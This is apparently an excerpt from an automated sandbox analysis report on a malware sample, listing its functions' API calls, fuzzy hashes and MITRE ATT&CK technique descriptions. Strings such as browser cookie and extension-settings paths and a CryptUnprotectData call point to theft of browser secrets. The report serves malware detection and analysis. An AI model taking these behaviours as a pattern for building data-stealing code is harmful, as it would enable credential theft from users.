Instruction Fuzzy Hash: BAE08C3C604208B7CB00DFE0DC45B9B777CAB88701F0081A8B908A7280DF71AA01C7E5

Function 00A48C70 Relevance: 3.0, APIs: 2, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 00A48C75
GetSystemMetrics.USER32(00000001), ref: 00A48C86

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: 8e4a8a1e6e571ccc9cb2e8f178e1a75fe9f48341829b39c7d62cde66ecf8e43e
Instruction ID: abb2c4728ca3ba88a6bfc6fa4d0ce89c7a0d4fb107c14564e98ec0b66615b55e
Opcode Fuzzy Hash: 8e4a8a1e6e571ccc9cb2e8f178e1a75fe9f48341829b39c7d62cde66ecf8e43e
Instruction Fuzzy Hash: D4D09238184308AFD700DF90D809B94BBA8FB99751F10C166ED4D4A381DAB255428AE2

Function 00A41110 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 00A412CC

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2d10f2d79bb612a7440f1d9a7777dc0d984a8afce800c57ec960e6c2f3209c68
Instruction ID: 33951e69f811807f796a64a96b6e661815bb138a4dbde6623ec2a37e697824d8
Opcode Fuzzy Hash: 2d10f2d79bb612a7440f1d9a7777dc0d984a8afce800c57ec960e6c2f3209c68
Instruction Fuzzy Hash: D151B878D04258ABCB04DF94C490BEEBBB6AFC5314F1482A8E955DB342C735EB91CB51

Function 00A41060 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,-00000209), ref: 00A4109E

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 3be02484de1c9b5ed50946bd5dbd0d3d6e922b8c3cd9eed904d3039bdaa1d034
Instruction ID: e795439392213901542d5829145adeef8b79eb04184564e35356b9008f47eb04
Opcode Fuzzy Hash: 3be02484de1c9b5ed50946bd5dbd0d3d6e922b8c3cd9eed904d3039bdaa1d034
Instruction Fuzzy Hash: C51142B9A00208BBDB00DF98C856FEE7775EB84714F14C168FA285B282D6769A41CB90

Function 00A412F0 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,10428910,00000000,00000000,00A42520), ref: 00A41321

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 90b198d04e0431bcd8fa6dacb601b8af66b9f070e2e4b6c233814d1fe09f5296
Instruction ID: 6b4f17cee7a2c82d35b2db89fa00b2829ca1e68e8ff69320681685180f98f25b
Opcode Fuzzy Hash: 90b198d04e0431bcd8fa6dacb601b8af66b9f070e2e4b6c233814d1fe09f5296
Instruction Fuzzy Hash: B50171B9600208BFDB44DF84CC55FEA7368EB84314F14C2A8FA194F2C2D675AE40CB94

Function 00A48B90 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00A48BA0

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 123e974a487d2a895cd472b501c38c1945f1095de219a5fdf0142504f77ce1c5
Instruction ID: 0e10a9170fa47ba6f163587a69d21715fd3dd3848ba09caa7c1b8636844416c4
Opcode Fuzzy Hash: 123e974a487d2a895cd472b501c38c1945f1095de219a5fdf0142504f77ce1c5
Instruction Fuzzy Hash: 72F0A4B890011CABCF14CB64E891BBE7B79EB84304F14C169FA4597245EB39DB458B51

Function 00A42060 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1763a0966187b7fe69525bfce067fe97491bddb1df38c92481f8c84455354e1
Instruction ID: 630966722a05dd9bca3e1aa9becdd67f5154c52bc52aa2fc716a8d9c5dc56df6
Opcode Fuzzy Hash: c1763a0966187b7fe69525bfce067fe97491bddb1df38c92481f8c84455354e1
Instruction Fuzzy Hash: 6EE01ABE910208ABEB009FA4D845BAA37E8ABC8765F40C414B91A8B151D776DD80CBA1

Function 00A41CA0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00A41CD0

Part of subcall function 00A41E50: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,00A41CB1,?,00A41D86,?), ref: 00A41E59

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CreateExitHeapProcess
String ID:
API String ID: 611137554-0
Opcode ID: 0d6b886d4d8359a58756c66a7ce56caa89d10bab1c28017807cc1513ccddc48e
Instruction ID: ec5072d808926f53275ca643ca385318b8069971bffb3bf22e2c22650ba3e4c0
Opcode Fuzzy Hash: 0d6b886d4d8359a58756c66a7ce56caa89d10bab1c28017807cc1513ccddc48e
Instruction Fuzzy Hash: 1DD0677D78170596EA607BF25F4676A368C5ED1784F440420BE08C5692FA16D9918262

Function 00A41EE0 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(02D10000,00000000,00000000,02B30000), ref: 00A41EFE

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f0cbcff4f2379d884f7bc6751b0fbe71019ecfca5eafe23c8fdee0fbb937042a
Instruction ID: 87a7ab162ca9905ef2095953f7070a2602d1997348b81f041dc9350c4350f156
Opcode Fuzzy Hash: f0cbcff4f2379d884f7bc6751b0fbe71019ecfca5eafe23c8fdee0fbb937042a
Instruction Fuzzy Hash: B7E0127851420CFBDB14CFD8D944BA97BF8E745305F104189F90887380D7729E40CB91

Function 00A41E50 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000000,00000000,?,00A41CB1,?,00A41D86,?), ref: 00A41E59

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7106a43d59f415d8f5758be377e890685ed7a2e6f9fcac8d7be59be20f4670f9
Instruction ID: 4b69c4fd7593d638139d4254e6e6c2ca6652ba0993d0dc294ff790c6f2e58309
Opcode Fuzzy Hash: 7106a43d59f415d8f5758be377e890685ed7a2e6f9fcac8d7be59be20f4670f9
Instruction Fuzzy Hash: 61D0123C674308EFF32097B4AC4AB2136D4A3C5755F101521FD19891E0E3B3A8C14634

Function 00A41EA0 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02D10000,00000008,00A43D82), ref: 00A41EB0

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 53703c41831ba45968550d2fc4992de17640edbdf37cd5bde9b5c6677a47359f
Instruction ID: b2b6899771630233cd5b17dd9a000eb49629b6d2a59b886997063452e417665d
Opcode Fuzzy Hash: 53703c41831ba45968550d2fc4992de17640edbdf37cd5bde9b5c6677a47359f
Instruction Fuzzy Hash: DDC04C7D170208ABD704DBD8ED55E6A3B9CA789601F404508B6094A590DB62E8018760

Function 00A42DB0 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 00A42E41

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5e94a227f48ff07cae11e24e6e5951c846a25af3f0445f5dee8fe3b4f513a826
Instruction ID: 11d9d62c227436faf38c4951fa8b5ecf726479fa79097951c919809d22155bbe
Opcode Fuzzy Hash: 5e94a227f48ff07cae11e24e6e5951c846a25af3f0445f5dee8fe3b4f513a826
Instruction Fuzzy Hash: 06114C78900208E7CB14CF45D551ABDBBB5FF98301FA08198F9068B381E735DE91E7A5

Function 00A42A60 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000001,00000C58,00000001), ref: 00A42AF6

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4ef8044f5ac563d5fdbfac4cee47cf47e90efaf14c43f11e8131432087559a79
Instruction ID: a0d2b1e71e7c72c145519e2f044e63e187c9c4eda8293a326c80a999d01929a0
Opcode Fuzzy Hash: 4ef8044f5ac563d5fdbfac4cee47cf47e90efaf14c43f11e8131432087559a79
Instruction Fuzzy Hash: BC118C38800219E6DB24DF95D5417BC77B2BF94740FA040B9FD422A681E7B95F80E391

Non-executed Functions

Function 00A41610 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(00A41593,00000001,?,00000000,00000000), ref: 00A4166E
NtQueryObject.NTDLL(00A41593,00000001,?,00000000,00000000), ref: 00A41689

Strings

\Network\Cookies, xrefs: 00A416B6
\Local Extensions Settings\, xrefs: 00A4169E

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: ObjectQuery
String ID: \Local Extensions Settings\$\Network\Cookies
API String ID: 2748340528-1141476384
Opcode ID: 03f7c0c0fef40e1b791e0b4acd96f808b29cbfb2f31c7f32200c5193fbef67dc
Instruction ID: 849d871df4afa5287f6b07fe99bb584745dad57b0a1e5c602cb3e1d7cc88310c
Opcode Fuzzy Hash: 03f7c0c0fef40e1b791e0b4acd96f808b29cbfb2f31c7f32200c5193fbef67dc
Instruction Fuzzy Hash: 4121637DA10208BBDB10CB90DD41FDAB779ABC8705F108495B908D7281EAB1EEC4CBA1

Function 00A41C40 Relevance: 4.5, APIs: 3, Instructions: 22encryptiontimeCOMMON

Download Yara Rule

APIs

CryptSignHashA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00A416EB,?,00A41CA8,?,00A41D86,?), ref: 00A41C53
CryptUpdateProtectedState.CRYPT32(00000000,00000000,00000000,00000000,00000000,?,00A416EB,?,00A41CA8,?,00A41D86,?), ref: 00A41C63
WinHttpTimeFromSystemTime.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00A416EB,?,00A41CA8,?,00A41D86,?), ref: 00A41C6C

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CryptTime$FromHashHttpProtectedSignStateSystemUpdate
String ID:
API String ID: 3068283267-0
Opcode ID: 4c57ef4c69f3dd837455790323daee97ba1ffafa26051c3c9159098da65bc9f4
Instruction ID: 8cb8ea2e21177a4525e7eefb6e9863ef81387e6bb94ed56c2186f9ebed76eb5b
Opcode Fuzzy Hash: 4c57ef4c69f3dd837455790323daee97ba1ffafa26051c3c9159098da65bc9f4
Instruction Fuzzy Hash: EBC04C3D3C830566E6506BF06E0BB16375867D6B07F444054F30E980D19ED264114567

Function 00A41000 Relevance: 1.5, APIs: 1, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000040,00000000,00000000,00000000,00000000,00000000,?), ref: 00A41033

Part of subcall function 00A432A0: LocalFree.KERNEL32(?), ref: 00A433BA

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: b90ef403e56ee99f7709b66b251991402f596fd1da067321a69f2d5c7f71b651
Instruction ID: 9fec1def134d910736a112d036a417720167404d2cb708d55c17b3c7048ded16
Opcode Fuzzy Hash: b90ef403e56ee99f7709b66b251991402f596fd1da067321a69f2d5c7f71b651
Instruction Fuzzy Hash: C7F01C7A90010CAFDB04DFA8C885EFE77BCEB84314F04856AE9199B241EB31D654CBA0

Function 00A48A80 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction ID: dde1bd9cb31a665840506e36bab9cafb4a2a57d73163620a88bf4db403f7ce3c
Opcode Fuzzy Hash: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction Fuzzy Hash: 813175B4D00209EFDB14DF98E941BAEBBF4EF44304F20C06DEA49A7341D774AA819B95

Function 00A41A20 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

